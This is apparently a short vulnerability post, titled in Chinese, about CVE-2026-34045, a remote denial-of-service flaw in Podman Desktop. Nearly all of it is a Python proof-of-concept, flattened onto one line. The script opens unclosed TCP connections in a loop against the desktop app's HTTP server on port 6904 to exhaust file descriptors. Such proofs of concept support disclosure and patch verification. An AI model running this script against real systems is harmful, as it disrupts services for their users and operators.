CVE-2026-34045 Podman Desktop远程DoS漏洞

import socket import time # Basic PoC to demonstrate resource exhaustion (File Descriptor exhaustion) # Target: Podman Desktop HTTP Server (Default port may vary, e.g., 6904) TARGET_HOST = '127.0.0.1' TARGET_PORT = 6904 def trigger_dos(): connections = [] print(f"[+] Attempting to exhaust resources on {TARGET_HOST}:{TARGET_PORT}") try: while True: # Create a socket connection without closing it s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) try: s.connect((TARGET_HOST, TARGET_PORT)) connections.append(s) print(f"[+] Connection #{len(connections)} established.") # Keep connection open to exhaust file descriptors except socket.error as e: print(f"[-] Connection failed: {e}") break # Small delay to prevent immediate script crash if network is too fast time.sleep(0.05) except KeyboardInterrupt: print("[!] Stopping attack...") finally: for s in connections: s.close() if __name__ == "__main__": trigger_dos()